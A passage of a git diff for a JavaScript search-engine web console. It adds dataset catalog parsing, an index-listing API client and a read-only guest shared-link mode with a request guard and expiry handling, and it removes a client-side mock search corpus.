s.doc_kind !== 'dataset') continue;+ const index = str(s.index_name);+ if (!index) continue;+ cards.push({+ id: str(h._id),+ index,+ slug: str(s.slug) || index.replace(/^ax-/, ''),+ formats: Array.isArray(s.formats) ? s.formats.map(str) : (s.formats ? [str(s.formats)] : []),+ records: num(s.record_count),+ junk: num(s.junk_records),+ files: num(s.file_count),+ bytes: num(s.bytes),+ timeField: str(s.time_field) || null,+ timeMin: str(s.time_min) || null,+ timeMax: str(s.time_max) || null,+ semanticField: str(s.semantic_field) || null,+ fields: parseFields(s.fields_json),+ sampleQueries: parseSampleQueries(s.sample_queries_json),+ notes: Array.isArray(s.notes) ? s.notes.map(str) : [],+ runId: str(s.run_id) || null,+ });+ }+ cards.sort((a, b) => (b.records - a.records) || a.index.localeCompare(b.index));+ return cards;+}++/** The fields worth showing on a card: the semantic field first, then the+ * best-covered keyword/date/text fields; autoindex plumbing (`ax_*`) last. */+export function topFields(card, n = 8) {+ const rank = (f) => {+ if (f.name.startsWith('ax_')) return 9;+ if (f.semantic || f.name === card.semanticField) return 0;+ if (f.type === 'date') return 1;+ if (f.type === 'keyword') return 2;+ if (f.type === 'text' || f.type === 'semantic_text') return 3;+ return 5;+ };+ return [...(card.fields || [])]+ .sort((a, b) => (rank(a) - rank(b)) || (b.coverage - a.coverage) || a.name.localeCompare(b.name))+ .slice(0, n);+}++function firstMatchText(clause) {+ if (!clause || typeof clause !== 'object') return null;+ if (clause.match) {+ const [field, v] = Object.entries(clause.match)[0] || [];+ if (!field) return null;+ return { type: 'match', q: typeof v === 'object' && v ? str(v.query) : str(v), field };+ }+ if (clause.match_phrase) {+ const [field, v] = Object.entries(clause.match_phrase)[0] || [];+ return { type: 'phrase', q: typeof v === 'object' && v ? str(v.query) : str(v), field };+ }+ if (clause.multi_match) return { type: 'match', q: str(clause.multi_match.query) };+ if (clause.semantic) return { type: 'semantic', q: str(clause.semantic.query) };+ if (clause.term) {+ const [field, v] = Object.entries(clause.term)[0] || [];+ return field ? { type: 'term', q: `${field}=${typeof v === 'object' && v ? str(v.value) : str(v)}` } : null;+ }+ if (clause.hybrid && Array.isArray(clause.hybrid.queries)) {+ for (const entry of clause.hybrid.queries) {+ const inner = firstMatchText(entry && (entry.query || entry));+ if (inner && inner.q) return { type: 'hybrid', q: inner.q, ...(inner.field ? { field: inner.field } : {}) };+ }+ return null;+ }+ if (clause.bool) {+ for (const key of ['must', 'should', 'filter']) {+ const list = Array.isArray(clause.bool[key]) ? clause.bool[key] : (clause.bool[key] ? [clause.bool[key]] : []);+ for (const c of list) {+ const inner = firstMatchText(c);+ if (inner && inner.q) return inner;+ }+ }+ }+ return null;+}++/**+ * A catalog sample query → the Reader search state that runs it, or null for+ * an analytics-only sample (aggregations with no text query — there is nothing+ * for a search box to run).+ *+ * `field` is the field the sample was WRITTEN for (`match` / `match_phrase`+ * and the lexical leg of a `hybrid`). The Reader adds it to the fields it+ * searches (schema-roles.js#withSearchField): the first version kept only the+ * text, so a sample over `text` ran over `body` and found nothing while the+ * catalog's own body found five (PR #945 review). A `term` sample already+ * names its field in `q` (`field=value`).+ */+export function sampleQueryToSearch(sq) {+ const body = sq && sq.body;+ if (!body || typeof body !== 'object') return null;+ const found = firstMatchText(body.query);+ if (!found || !found.q) return null;+ return { type: found.type, q: found.q, ...(found.field ? { field: found.field } : {}) };+}++/** Human byte count. */+export function fmtBytes(b) {+ const n = num(b);+ if (n < 1024) return `${n} B`;+ const u = ['KB', 'MB', 'GB', 'TB'];+ let v = n / 1024, i = 0;+ while (v >= 1024 && i < u.length - 1) { v /= 1024; i++; }+ return `${v.toFixed(v < 10 ? 1 : 0)} ${u[i]}`;+}++/** Human count with thousands separators. */+export function fmtCount(n) {+ return new Intl.NumberFormat('en-US').format(num(n));+}++/** "2024-01-03 → 2025-08-20" or null. */+export function timeSpan(card) {+ if (!card.timeMin && !card.timeMax) return null;+ const d = (v) => (v ? String(v).slice(0, 10) : '…');+ return `${d(card.timeMin)} → ${d(card.timeMax)}`;+}diff --git a/xerj-ux/src/data/console-index-api.js b/xerj-ux/src/data/console-index-api.jsnew file mode 100644index 000000000..057733aa0--- /dev/null+++ b/xerj-ux/src/data/console-index-api.js@@ -0,0 +1,60 @@+// ============================================================+// XERJ Console — what the engine holds, read with the console SESSION+//+// A signed-in operator has a console session cookie, not an engine API key.+// On an engine started without `--insecure` (the default) every direct+// data-plane call from this page — `GET /_mapping`, `GET /_cat/indices` —+// answers 401, so a console that derives its index list and its query fields+// from those shows an empty picker and queries the wrong fields exactly on+// the deployments that are configured correctly.+//+// The console API already exposes both, behind the session, in-process:+//+// GET …/connections/built-in/indices names + doc counts+// GET …/connections/built-in/indices/{i}/fields name + type (+ semantic)+//+// (xerj-console-api/src/data_sources.rs — system indices and the reserved+// brain namespace are hidden there, so nothing here can list or describe+// one.) Pure data: no DOM. `fetch` is injectable for tests.+// ============================================================++const BASE = '/_xerj-console/api/v1/data-sources/connections/built-in/indices';++// Non-dot indices that are engine plumbing, not something a person searches.+export const INTERNAL_INDICES = new Set(['autoindex-catalog']);++function httpError(status) {+ const e = new Error(`HTTP ${status}`);+ e.status = status;+ e.kind = status === 401 ? 'unauthorized' : status === 403 ? 'forbidden' : status === 404 ? 'not-found' : 'http';+ return e;+}++async function getJson(path, signal, doFetch) {+ const r = await (doFetch || fetch)(path, { signal, credentials: 'same-origin', headers: { accept: 'application/json' } });+ if (!r.ok) throw httpError(r.status);+ return r.json();+}++/** `[{ name, docs }]` for every user index, as the engine reports them. */+export async function listUserIndices(signal, doFetch) {+ const body = await getJson(BASE, signal, doFetch);+ const list = (body && body.data && Array.isArray(body.data.indices)) ? body.data.indices : [];+ return list+ .filter((it) => it && typeof it.name === 'string' && it.name && !it.name.startsWith('.'))+ .map((it) => ({ name: it.name, docs: Number(it.docs) || 0 }));+}++/** `{ field: type }` for one index. A `semantic_text` field is reported by+ * the engine as `type: "text"` + `semantic: true`; it is named+ * `semantic_text` here so data/schema-roles.js treats both sources alike. */+export async function fieldTypes(index, signal, doFetch) {+ const body = await getJson(`${BASE}/${encodeURIComponent(index)}/fields`, signal, doFetch);+ const list = (body && body.data && Array.isArray(body.data.fields)) ? body.data.fields : [];+ const out = {};+ for (const f of list) {+ if (!f || typeof f.name !== 'string' || !f.name) continue;+ out[f.name] = f.semantic === true ? 'semantic_text' : String(f.type || 'object');+ }+ return out;+}diff --git a/xerj-ux/src/data/guest.js b/xerj-ux/src/data/guest.jsnew file mode 100644index 000000000..33663b0ca--- /dev/null+++ b/xerj-ux/src/data/guest.js@@ -0,0 +1,369 @@+// ============================================================+// XERJ Console — guest (shared-link) mode+//+// The share guest page (engine: `POST /_share/{id}/claim`, xerj-api/src/+// share.rs) writes ONE sessionStorage record before handing the browser to+// the console:+//+// sessionStorage['xerj.share'] = JSON.stringify({+// api_key: '<base64 id:secret — a read-only key minted for this claim>',+// index: 'ax-inbox' | 'ax-inbox,ax-contracts', // comma-joined+// brain: 'inbox' | null, // the brain whose graph they may walk+// expires_at: '2026-09-25T18:00:00Z', // RFC 3339+// label: 'Q3 board pack' | null,+// })+//+// When that record is present, well-formed and unexpired, the console is a+// read-only VIEWER of exactly those indices with exactly that key:+//+// • it boots `guest-app.js`, not the operator shell — no dashboards, no+// Data / Users / Settings / Alerts, no edit mode, no sync, no mock data;+// • the ONLY requests it can make are the four in GUEST_OPS below, each+// built here from a validated index/brain name — there is no function in+// guest mode that takes a path;+// • `installGuestGuard` additionally refuses every other fetch before it+// reaches the network, so a module that "just calls /_xerj-console/api/…"+// cannot do so by accident. The engine denies those calls anyway (the key+// is `read` on the shared indices and nothing else); the guard is there+// so the UI never even asks, and so a bug shows up as a test failure+// instead of as a 403 in someone's audit log;+// • the key is attached per request by `guestRequest` — never globally, so+// it cannot ride along on a request nobody meant to authorize;+// • it FAILS CLOSED: a record with no key, no index, a malformed index or+// brain name, or a missing / unparseable / past `expires_at` is not a+// share, and the console falls back to the normal login flow.+//+// Everything here is pure or takes its globals as parameters, so it is+// testable under node (test/guest.test.mjs) and in a browser (test/browser/).+// ============================================================++export const SHARE_KEY = 'xerj.share';++// Index / brain names as the engine accepts them, minus everything a guest+// must never name: no patterns (`*`), no `_all`, no hidden/system (`.…`),+// no path or query metacharacters. A share naming anything else is rejected+// whole rather than "cleaned".+const NAME_RE = /^[a-z0-9][a-z0-9_.-]{0,254}$/;+const KEY_RE = /^[A-Za-z0-9+/=_-]{16,4096}$/;+export const MAX_GUEST_INDICES = 32; // share.rs MAX_INDICES++export function validName(s) {+ return typeof s === 'string' && NAME_RE.test(s) && s !== '_all' && !s.includes('..');+}++/** epoch-ms for an RFC 3339 / ISO string or an epoch-ms number; null when+ * absent or unparseable. */+export function expiryMs(v) {+ if (v == null || v === '') return null;+ if (typeof v === 'number') return Number.isFinite(v) && v > 0 ? v : null;+ if (typeof v !== 'string') return null;+ const t = v.trim();+ if (/^\d{10,16}$/.test(t)) return Number(t);+ const p = Date.parse(t);+ return Number.isFinite(p) ? p : null;+}++/**+ * Parse a stored share record. Null when absent, malformed, incomplete or+ * expired at `now` — see "FAILS CLOSED" above.+ */+export function parseShare(raw, now = Date.now()) {+ if (!raw) return null;+ let obj = raw;+ if (typeof raw === 'string') {+ try { obj = JSON.parse(raw); } catch { return null; }+ }+ if (!obj || typeof obj !== 'object' || Array.isArray(obj)) return null;++ const api_key = typeof obj.api_key === 'string' ? obj.api_key.trim() : '';+ if (!KEY_RE.test(api_key)) return null;++ let names = [];+ if (typeof obj.index === 'string') names = obj.index.split(',');+ else if (Array.isArray(obj.indices)) names = obj.indices;+ names = names.map((n) => (typeof n === 'string' ? n.trim() : n));+ if (!names.length || names.length > MAX_GUEST_INDICES) return null;+ if (!names.every(validName)) return null;+ const indices = [...new Set(names)];++ let brain = null;+ if (obj.brain != null && obj.brain !== '') {+ if (!validName(obj.brain)) return null;+ brain = obj.brain;+ }++ const expires_at = expiryMs(obj.expires_at);+ if (expires_at == null || expires_at <= now) return null;++ const label = typeof obj.label === 'string' && obj.label.trim()+ ? obj.label.trim().slice(0, 120)+ : indices.join(', ');+ return Object.freeze({ api_key, indices: Object.freeze(indices), index: indices.join(','), brain, expires_at, label });+}++/** Read the share record from a Storage-like object (sessionStorage). */+export function readShare(storage, now = Date.now()) {+ if (!storage || typeof storage.getItem !== 'function') return null;+ let raw = null;+ try { raw = storage.getItem(SHARE_KEY); } catch { return null; }+ return parseShare(raw, now);+}++/**+ * "A share ended in this tab" — the REASON only ('expired' | 'unauthorized' |+ * 'left' | 'invalid'), never the key, the index or the label. boot.js boots+ * the guest shell when it is present, so a reload shows the ended screen again+ * instead of bouncing a guest to the operator's passkey login.+ */+export const ENDED_KEY = 'xerj.share.ended';+const ENDED_REASONS = new Set(['expired', 'unauthorized', 'left', 'invalid']);+export function markEnded(storage, reason) {+ try { if (storage && typeof storage.setItem === 'function') storage.setItem(ENDED_KEY, ENDED_REASONS.has(reason) ? reason : 'invalid'); } catch { /* storage blocked */ }+}+export function readEnded(storage) {+ try { const r = storage && storage.getItem(ENDED_KEY); return ENDED_REASONS.has(r) ? r : (r != null ? 'invalid' : null); } catch { return null; }+}+export function clearEnded(storage) {+ try { if (storage && typeof storage.removeItem === 'function') storage.removeItem(ENDED_KEY); } catch { /* storage blocked */ }+}++/** Forget the share. Called on expiry, on a 401, and on "leave". */+export function clearShare(storage) {+ try { if (storage && typeof storage.removeItem === 'function') storage.removeItem(SHARE_KEY); } catch { /* storage blocked */ }+}++export function isExpired(share, now = Date.now()) {+ return !share || !(share.expires_at > now);+}++/** "in 1h 20m" / "in 3d 2h" / "now" — relative remaining time. */+export function fmtRemaining(ms) {+ if (ms == null) return '';+ if (ms <= 0) return 'now';+ const s = Math.floor(ms / 1000);+ const d = Math.floor(s / 86400), hh = Math.floor((s % 86400) / 3600), m = Math.floor((s % 3600) / 60);+ if (d > 0) return `in ${d}d ${hh}h`;+ if (hh > 0) return `in ${hh}h ${m}m`;+ if (m > 0) return `in ${m}m`;+ return `in ${s}s`;+}++/** Banner text: `Guest · read-only · <label> · expires <UTC> (<relative>)`. */+export function guestBanner(share, now = Date.now()) {+ if (!share) return '';+ const iso = new Date(share.expires_at).toISOString().slice(0, 16).replace('T', ' ') + ' UTC';+ return `Guest · read-only · ${share.label} · expires ${iso} (${fmtRemaining(share.expires_at - now)})`;+}++/** The Authorization header value the engine expects for an API key. */+export function guestAuthHeader(share) {+ return `ApiKey ${share.api_key}`;+}++// ----- the only requests a guest can make ------------------------------++/** op → { method, path(share, arg) }. `arg` is validated by `guestUrl`. */+export const GUEST_OPS = Object.freeze({+ search: { method: 'POST', suffix: '/_search' },+ count: { method: 'POST', suffix: '/_count' },+ mapping: { method: 'GET', suffix: '/_mapping' },+ ego: { method: 'GET' },+});++/** Subset of the share's indices → the `/{a,b}` path segment, or null if any+ * requested name is not part of the share. No argument = all of them. */+export function guestIndexExpr(share, indices) {+ const want = indices == null ? share.indices : (Array.isArray(indices) ? indices : [indices]);+ if (!want.length) return null;+ for (const n of want) if (!share.indices.includes(n)) return null;+ return want.map(encodeURIComponent).join(',');+}++/** Build the same-origin path for an op, or null when the share does not+ * allow it. `query` (ego only) is a plain object of string params. */+export function guestUrl(share, op, { indices, query } = {}) {+ if (!share || !Object.prototype.hasOwnProperty.call(GUEST_OPS, op)) return null;+ if (op === 'ego') {+ if (!share.brain) return null;+ const qs = new URLSearchParams();+ for (const [k, v] of Object.entries(query || {})) if (v != null) qs.set(k, String(v));+ return `/_graph/${encodeURIComponent(share.brain)}/ego?${qs.toString()}`;+ }+ const expr = guestIndexExpr(share, indices);+ if (expr == null) return null;+ return `/${expr}${GUEST_OPS[op].suffix}`;+}++/**+ * Is `method path` one of the requests this share may make? Used by the+ * fetch guard. `path` is a same-origin pathname (no query string).+ */+export function guestAllows(share, method, path) {+ if (!share || typeof path !== 'string') return false;+ const m = String(method || 'GET').toUpperCase();+ if (share.brain && m === 'GET' && path === `/_graph/${encodeURIComponent(share.brain)}/ego`) return true;+ const mm = path.match(/^\/([^/]+)\/(_search|_count|_mapping)$/);+ if (!mm) return false;+ const opMethod = mm[2] === '_mapping' ? 'GET' : 'POST';+ if (m !== opMethod) return false;+ let names;+ try { names = mm[1].split(',').map(decodeURIComponent); } catch { return false; }+ return names.length > 0 && names.every((n) => share.indices.includes(n));+}++/** Thrown by `guestRequest`. `kind` is what the UI acts on; the engine's+ * error body is deliberately NOT carried — a 403 names resources and the+ * grant that would fix it, which is not the guest's to read. */+export class GuestError extends Error {+ constructor(kind, status) {+ super(kind);+ this.name = 'GuestError';+ this.kind = kind; // 'expired' | 'unauthorized' | 'forbidden' | 'not-found' | 'blocked' | 'http' | 'network'+ this.status = status || 0;+ }+}++/**+ * Make one guest request. The URL comes from `guestUrl` (never from a+ * caller-supplied path), the key is attached here and only here.+ *+ * env: { fetch, now } — injected for tests; defaults to globals.+ */+export async function guestRequest(share, op, { indices, query, body, signal } = {}, env = {}) {+ const now = (env.now || Date.now)();+ if (isExpired(share, now)) throw new GuestError('expired', 0);+ const url = guestUrl(share, op, { indices, query });+ if (!url) throw new GuestError('blocked', 0);+ const doFetch = env.fetch || globalThis.fetch;+ const init = {+ method: GUEST_OPS[op].method,+ credentials: 'omit', // a guest never rides a console session cookie+ cache: 'no-store',+ referrerPolicy: 'no-referrer',+ headers: { accept: 'application/json', authorization: guestAuthHeader(share) },+ signal,+ };+ if (init.method === 'POST') {+ init.headers['content-type'] = 'application/json';+ init.body = JSON.stringify(body || {});+ }+ let r;+ try { r = await doFetch(url, init); } catch (e) {+ if (e && e.name === 'AbortError') throw e;+ throw new GuestError('network', 0);+ }+ if (r.status === 401) throw new GuestError('unauthorized', 401);+ if (r.status === 403) throw new GuestError('forbidden', 403);+ if (r.status === 404) throw new GuestError('not-found', 404);+ if (!r.ok) throw new GuestError('http', r.status);+ try { return await r.json(); } catch { throw new GuestError('http', r.status); }+}++// ----- the fetch guard --------------------------------------------------++/**+ * Wrap the page's request APIs so that, while a guest session is active,+ * NOTHING but the share's own four operations leaves the page:+ *+ * fetch a refused call resolves to a synthetic 403 (calling+ * code sees an ordinary denied response)+ * XMLHttpRequest.open a refused call throws a SecurityError+ * navigator.sendBeacon a refused call returns false+ *+ * Each refusal is counted on `win.__xerjGuestBlocked` for the tests.+ * Cross-origin requests are refused too — the guest shell has no reason to+ * make one, and a key-bearing page should not be talking to third parties.+ * (What this does not cover — WebSocket, EventSource, a `<form>` — is stopped+ * by the Content-Security-Policy's `connect-src 'self'` / `form-action` for+ * other origins and by the engine, which has no session and no key, on this+ * one. The guard is a UI-side tripwire, not the boundary; the key is.)+ *+ * The guard does NOT add the Authorization header. Idempotent.+ */+export function installGuestGuard(share, win = globalThis) {+ if (!share || !win || typeof win.fetch !== 'function') return;+ if (win.fetch.__xerjGuestGuard) return;+ const orig = win.fetch.bind(win);+ const base = win.location && win.location.href;+ const origin = win.location && win.location.origin;+ win.__xerjGuestBlocked = win.__xerjGuestBlocked || [];+ /** null when the request may go out; otherwise where it was headed. */+ const refusedAt = (method, raw) => {+ let u;+ try { u = new URL(raw, base); } catch { return '(unparseable url)'; }+ if (u.origin !== origin) return u.origin;+ if (!guestAllows(share, method, u.pathname)) return u.pathname;+ return null;+ };+ const refuse = (method, where) => {+ win.__xerjGuestBlocked.push(`${method} ${where}`);+ const Resp = win.Response || globalThis.Response;+ return Promise.resolve(new Resp('{"error":{"type":"guest_blocked"}}', {+ status: 403, headers: { 'content-type': 'application/json' },+ }));+ };+ const guarded = (input, init) => {+ const raw = typeof input === 'string' ? input : (input && typeof input.url === 'string' ? input.url : String(input || ''));+ const method = String((init && init.method) || (input && typeof input === 'object' && input.method) || 'GET').toUpperCase();+ const where = refusedAt(method, raw);+ return where == null ? orig(input, init) : refuse(method, where);+ };+ guarded.__xerjGuestGuard = true;+ win.fetch = guarded;++ const XHR = win.XMLHttpRequest;+ if (XHR && XHR.prototype && typeof XHR.prototype.open === 'function' && !XHR.prototype.open.__xerjGuestGuard) {+ const origOpen = XHR.prototype.open;+ const guardedOpen = function open(method, url, ...rest) {+ const m = String(method || 'GET').toUpperCase();+ const where = refusedAt(m, String(url));+ if (where != null) {+ win.__xerjGuestBlocked.push(`XHR ${m} ${where}`);+ const DomEx = win.DOMException || globalThis.DOMException;+ throw DomEx ? new DomEx('guest session: request refused', 'SecurityError') : new Error('guest session: request refused');+ }+ return origOpen.call(this, method, url, ...rest);+ };+ guardedOpen.__xerjGuestGuard = true;+ XHR.prototype.open = guardedOpen;+ }++ const nav = win.navigator;+ if (nav && typeof nav.sendBeacon === 'function' && !nav.sendBeacon.__xerjGuestGuard) {+ const origBeacon = nav.sendBeacon.bind(nav);+ const guardedBeacon = (url, data) => {+ const where = refusedAt('POST', String(url));+ if (where != null) { win.__xerjGuestBlocked.push(`BEACON POST ${where}`); return false; }+ return origBeacon(url, data);+ };+ guardedBeacon.__xerjGuestGuard = true;+ try { Object.defineProperty(nav, 'sendBeacon', { value: guardedBeacon, configurable: true, writable: true }); } catch { nav.sendBeacon = guardedBeacon; }+ }+}++// ----- expiry -----------------------------------------------------------++/**+ * Call `onExpire` once, when the share's `expires_at` passes. setTimeout+ * cannot hold more than ~24.8 days and is throttled in background tabs, so+ * this re-arms in steps of at most `maxStepMs` and re-checks the clock each+ * time. Returns a cancel function.+ *+ * env: { now, setTimeout, clearTimeout } — injected for tests.+ */+export function watchExpiry(share, onExpire, env = {}) {+ const now = env.now || Date.now;+ const set = env.setTimeout || globalThis.setTimeout;+ const clear = env.clearTimeout || globalThis.clearTimeout;+ const maxStepMs = env.maxStepMs || 60_000;+ let timer = null;+ let done = false;+ const tick = () => {+ if (done) return;+ const left = share.expires_at - now();+ if (left <= 0) { done = true; onExpire(); return; }+ timer = set(tick, Math.min(left, maxStepMs));+ };+ tick();+ return () => { done = true; if (timer != null) clear(timer); };+}diff --git a/xerj-ux/src/data/mock.js b/xerj-ux/src/data/mock.jsindex 5cf600d9c..4949939d0 100644--- a/xerj-ux/src/data/mock.js+++ b/xerj-ux/src/data/mock.js@@ -562,186 +562,12 @@ const buildSystem = (rand, range) => {};};-// ==========================================================-// SEARCH CORPUS — client-side fake index for the SEARCH dash-// ==========================================================-const CORPUS_INDICES = ['logs-prod', 'logs-stage', 'docs', 'metrics', 'traces', 'events'];--const BODY_TEMPLATES = [- (r) => `GET /api/v2/catalog status=200 ms=${Math.round(12 + r() * 60)} client=203.0.113.${Math.floor(r() * 240)}`,- (r) => `POST /api/v2/checkout status=500 upstream_ms=${Math.round(1500 + r() * 2500)} error="upstream timeout"`,- (r) => `auth_login user=deploy src=10.0.${Math.floor(r() * 10)}.${Math.floor(r() * 240)} result=success`,- (r) => `auth_login user=root src=45.137.21.${Math.floor(r() * 240)} result=failure reason="invalid password"`,- (r) => `flush segment=seg-${Math.floor(r() * 999)} docs=${Math.floor(40000 + r() * 80000)} took_ms=${Math.round(180 + r() * 220)}`,- (r) => `merge segments=[seg-${Math.floor(r() * 99)},seg-${Math.floor(r() * 99)}] out=seg-${Math.floor(r() * 999)} ratio=${(0.42 + r() * 0.3).toFixed(2)}`,- (r) => `slow_query took_ms=${Math.round(820 + r() * 1800)} plan="BoolQuery(Must(Match(message)))" index="logs-prod"`,- (r) => `hnsw_recall k=10 recall=${(0.94 + r() * 0.05).toFixed(3)} ef_search=${Math.floor(32 + r() * 96)}`,- (r) => `agent_memory op=insert agent=oncall-triage key="cluster-reset" score=${(0.72 + r() * 0.25).toFixed(2)}`,- (r) => `ingest_batch index=logs-prod docs=${Math.floor(1000 + r() * 9000)} wal_lag_ms=${Math.round(2 + r() * 18)}`,- (r) => `oom_score=${Math.round(100 + r() * 800)} rss_mb=${Math.round(1200 + r() * 2600)} pid=${Math.floor(1000 + r() * 9000)}`,- (r) => `cache_hit route=/api/v2/search ratio=${(0.72 + r() * 0.22).toFixed(2)} ttl_s=${Math.floor(60 + r() * 540)}`,- (r) => `tool_use name=search success=true tokens_in=${Math.floor(200 + r() * 900)} tokens_out=${Math.floor(40 + r() * 240)}`,- (r) => `rag_answer grounding=${(0.78 + r() * 0.2).toFixed(2)} citations=${Math.floor(2 + r() * 5)} chunks=${Math.floor(3 + r() * 7)}`,-];--const SERVICES = ['api-gateway','auth-service','billing','checkout','search','catalog','ingest-worker','query-coordinator','embed-proxy','agent-memory'];-const LEVELS = ['INFO','WARN','ERROR','DEBUG','FATAL'];-const HOSTS = ['ip-10-0-1-17','ip-10-0-2-88','ip-10-0-3-54','ip-10-0-4-73','ip-10-0-5-91','ip-10-0-6-60'];--function buildCorpus() {- const r = rng(0xFEEDFACE);- const docs = [];- for (let i = 0; i < 600; i++) {- const tpl = BODY_TEMPLATES[Math.floor(r() * BODY_TEMPLATES.length)];- const level = r() < 0.78 ? 'INFO' : r() < 0.93 ? 'WARN' : r() < 0.98 ? 'ERROR' : 'FATAL';- docs.push({- _index: CORPUS_INDICES[Math.floor(r() * CORPUS_INDICES.length)],- _id: (1000000 + i).toString(16),- _ts: new Date(Date.now() - Math.floor(r() * 86_400_000)).toISOString().slice(11, 19),- service: SERVICES[Math.floor(r() * SERVICES.length)],- level,- host: HOSTS[Math.floor(r() * HOSTS.length)],- _source: tpl(r),- });- }- return docs;-}-let _corpus = null;-const corpus = () => (_corpus ??= buildCorpus());--/**- * mockSearch — filter the in-memory corpus against a query.- * Supports:- * type=match — substring on _source- * type=term — exact equality on field (e.g. `level=ERROR`)- * type=prefix — _source startsWith- * type=phrase — quoted-substring- * type=range — `field>=value` / `field<=value` (latency-like)- * type=knn — fake nearest-vector: rank by string-similarity hash- * type=semantic — similar to knn, ranks differently- * type=hybrid — 0.6*match + 0.4*vector, RRF-style fusion- * index='*' means all indices.- *- * filters: `{ level: 'ERROR' }` applied as post-filter (clickable facets).- */-export function mockSearch({ q = '', type = 'match', index = '*', filters = {}, sort = { field: '_score', dir: 'desc' } } = {}) {- const t0 = performance.now();- const docs = corpus();- const qLower = q.toLowerCase().trim();-- const passesIndex = (d) => index === '*' || d._index === index;- const passesFilter = (d) => Object.entries(filters).every(([f, v]) => !v || d[f] === v);-- let pool = docs.filter((d) => passesIndex(d) && passesFilter(d));- let matched;- if (!qLower) {- matched = pool.map((d) => ({ ...d, _score: 1 }));- } else if (type === 'term') {- // field=value syntax- const m = qLower.match(/^([a-z_]+)\s*=\s*(.+)$/i);- if (m) {- const [, f, v] = m;- matched = pool- .filter((d) => String(d[f] ?? '').toLowerCase() === v.toLowerCase())- .map((d) => ({ ...d, _score: 1 }));- } else matched = [];- } else if (type === 'prefix') {- matched = pool- .filter((d) => d._source.toLowerCase().startsWith(qLower))- .map((d) => ({ ...d, _score: 1 - (d._source.length / 500) }));- } else if (type === 'phrase') {- const phrase = qLower.replace(/^"|"$/g, '');- matched = pool- .filter((d) => d._source.toLowerCase().includes(phrase))- .map((d) => ({ ...d, _score: 2 + Math.random() * 0.5 }));- } else if (type === 'range') {- const m = qLower.match(/^([a-z_]+)\s*(>=|<=|>|<)\s*(\d+(?:\.\d+)?)$/i);- if (m) {- const [, f, op, v] = m;- const n = Number(v);- matched = pool- .filter((d) => {- const src = d._source;- const rx = new RegExp(f + '=(\\d+(?:\\.\\d+)?)', 'i');- const mm = src.match(rx);- if (!mm) return false;- const x = Number(mm[1]);- return op === '>=' ? x >= n : op === '<=' ? x <= n : op === '>' ? x > n : x < n;- })- .map((d) => ({ ...d, _score: 1 }));- } else matched = [];- } else if (type === 'knn' || type === 'semantic') {- // Fake vector distance: bytewise hash diff against query- const qHash = Array.from(qLower).reduce((a, c) => (a + c.charCodeAt(0)) % 997, 0);- matched = pool.map((d) => {- const dh = Array.from(d._source.toLowerCase()).reduce((a, c) => (a + c.charCodeAt(0)) % 997, 0);- const dist = Math.abs(qHash - dh) / 997;- return { ...d, _score: 1 - dist };- }).filter((d) => d._score > 0.72);- } else if (type === 'hybrid') {- // 0.6*bm25 + 0.4*vector, RRF-style rank fusion- const bmList = pool.filter((d) => d._source.toLowerCase().includes(qLower))- .map((d, i) => ({ id: d._id, rank: i + 1, base: d }));- const qHash = Array.from(qLower).reduce((a, c) => (a + c.charCodeAt(0)) % 997, 0);- const knnList = pool.map((d) => {- const dh = Array.from(d._source.toLowerCase()).reduce((a, c) => (a + c.charCodeAt(0)) % 997, 0);- return { id: d._id, score: 1 - Math.abs(qHash - dh) / 997, base: d };- }).sort((a, b) => b.score - a.score).slice(0, 80).map((d, i) => ({ ...d, rank: i + 1 }));- const mix = new Map();- for (const r of bmList) mix.set(r.id, { base: r.base, s: 0.6 / (60 + r.rank) });- for (const r of knnList) {- const cur = mix.get(r.id);- const add = 0.4 / (60 + r.rank);- if (cur) cur.s += add;- else mix.set(r.id, { base: r.base, s: add });- }- matched = Array.from(mix.values()).sort((a, b) => b.s - a.s).map((r) => ({ ...r.base, _score: r.s * 1000 }));- } else {- // default: match- matched = pool.filter((d) => d._source.toLowerCase().includes(qLower))- .map((d) => {- const idx = d._source.toLowerCase().indexOf(qLower);- const score = 2 + (1 - idx / d._source.length) * 2;- return { ...d, _score: score };- });- }-- // Sort honors caller's request. Defaults to _score desc. GH#696/GH#737.- const sortField = sort?.field || '_score';- const sortDir = sort?.dir === 'asc' ? 1 : -1;- matched.sort((a, b) => {- const av = a[sortField];- const bv = b[sortField];- if (av == null && bv == null) return 0;- if (av == null) return 1;- if (bv == null) return -1;- if (typeof av === 'number' && typeof bv === 'number') return (av - bv) * sortDir;- return String(av).localeCompare(String(bv)) * sortDir;- });- const hits = matched.slice(0, 25);- const took = Math.max(1, Math.round(performance.now() - t0 + (0.5 + Math.random() * 3.5)));- // Facets computed from matched pool (post-query, pre-filter)- const count = (field) => {- const m = new Map();- for (const d of matched) m.set(d[field], (m.get(d[field]) || 0) + 1);- return Array.from(m.entries()).sort((a, b) => b[1] - a[1]).slice(0, 8)- .map(([value, c]) => ({ label: value, value, count: c }));- };- // Histogram: buckets by the hour of d._ts- const buckets = Array.from({ length: 24 }, () => 0);- for (const d of matched) {- const h = parseInt(d._ts.slice(0, 2), 10) || 0;- buckets[h] += 1;- }- return {- hits,- total: matched.length,- tookMs: took,- maxScore: hits.length ? hits[0]._score : null,- facets: { level: count('level'), service: count('service'), host: count('host'), _index: count('_index') },- histogram: buckets,- };-}+// (The client-side fake search corpus and `mockSearch()` that lived here are+// gone. They fabricated log-shaped hits for the Search · Discover table, and+// the shell kept them on screen whenever the engine call failed — invented+// documents under a LIVE pill. Discover, the Corpus home and the Reader show+// the user's own documents, so they are engine-or-error only: see+// data/query.js#NEVER_MOCK and test/guest-graph.test.mjs.)// ==========================================================// ANOMALY DETECTION — client-side z-score over a mock stream@@ -896,26 +722,6 @@ const buildIngest = (rand, range) => {};};-// ==========================================================-// SEARCH DASHBOARD — static context data (histogram, facets)-// only used when no query has been submitted yet.-// ==========================================================-const buildSearchDash = (rand, range) => {- const n = points(range);- const queries = diurnal(n, 1200, { rand, peakHour: 14 });- const took_p50 = queries.map(() => 2 + rand() * 1.4);- const took_p95 = queries.map(() => 8 + rand() * 3.2);- return {- metrics: {- qps: { value: queries[queries.length - 1], formatted: compact.format(queries[queries.length - 1]), delta: (rand() - 0.4) * 5 },- p95: { value: took_p95[took_p95.length - 1], formatted: took_p95[took_p95.length - 1].toFixed(1), delta: (rand() - 0.6) * 6 },- totalDocs: { value: 52_400_000, formatted: '52.4M', hint: '6 indices · 32 shards' },- uniqueTerms: { value: 18_900_000, formatted: '18.9M', hint: 'exact cardinality ✓' },- },- series: { queries, took_p50, took_p95, startLabel: rangeLabels(range)[0], endLabel: rangeLabels(range)[1] },- };-};-// ---------- filter application ----------------------------// The real backend will compile `filters` into an ES filter clause.// Here we approximate the behaviour so click-to-filter actually@@ 